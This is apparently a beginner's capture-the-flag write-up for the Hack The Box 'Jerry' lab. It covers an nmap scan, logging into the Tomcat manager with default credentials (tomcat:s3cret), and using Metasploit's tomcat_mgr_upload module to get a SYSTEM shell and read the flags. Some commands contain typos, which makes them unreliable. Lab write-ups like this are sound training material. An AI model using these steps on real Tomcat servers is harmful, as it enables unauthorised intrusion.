Hack The Box (HTB) is an online platform allowing you to test your penetration testing skills. JERRY box is an easy box, yet quite a few approaches and nudges are needed for the beginner to start their way in the HTB. We will use the following tools to pawn the box on a Kali Linux box.
Step 1 – Scanning the network
As an initial step, before you exploit the machine, you need to be scan and investigate.
This is important to determine what can be exploited afterwards. It is always better to spend time on this phase to extract maximum information.
Nmap (Network Mapper). Nmap is a free and open source utility for network discovery and security auditing. Raw IP packets are used to determine hosts available on the network, services offered by those hosts, operating systems running, packet filters, firewalls in use, and many other characteristics.
Use the following command to get a basic idea of what we are scanning
nmap -sV -sC -A 10.10.10.95
-sV: Probe open ports to determine service/version info
-sC: Default script sets
-A: Aggressive scan. Enable OS detection, version detection, script scanning, and traceroute
10.10.10.95: IP address of the Jerry box
We can see that there is only 1 open ports:
Port 8080. Apache Tomcat
Step 2 – The Apache Tomcat
We move towards port 8080 on 10.10.10.95 and find Apache is running. We move to the Manager app button and get a prompt to authenticate the user.
I try to enter using “admin” as username and password both. Although these aren’t the correct credentials, we are suggested “tomcat:s3cret”.
Using these suggested credentials, we dropped into the admin panel. 😀
Its found that we can upload WAR files to the server. By a quick google search you can find a tutorial for creating a war file reverse shells in metasploit.
In the msfconsole, we look for the vulnerabilities.
search apache
Step 3 – Uploading the file for exploit
Following command is used for the exploit
use exploit/multi/htto/tomcat_mgr_upload
This will launch the exploit. This command displays the available options.
show options
You can see that the remote host (RHOSTS) is not yet set. RHOSTS will be the victim.
Following command sets the remote host using the IP address of HTB Jerry box
set RHOSTS 10.10.10.95
set RPORT 8080
set HttpPassowrd s3cret
set HttpUsername tomcat
You can now run the exploit.
Bingo! A metapreter session is available. Let’s see what we can be find 🙂
Step 4 – Looking for the root.txt and user.txt flags
To open an interactive python shell the following command is used
shell
Following command is used to know the access on the machine:
whoami
We find that we are already have the system access.
Following command is used to list all the files/folders:
dir
Let’s move to the users folder and see what we can be find
cd users
We go to Users>Administrators>Desktop>flags directory.
To read the content of the file the following command is used.
type *2 for the price of 1.txt*
Congrats! You found both flags!
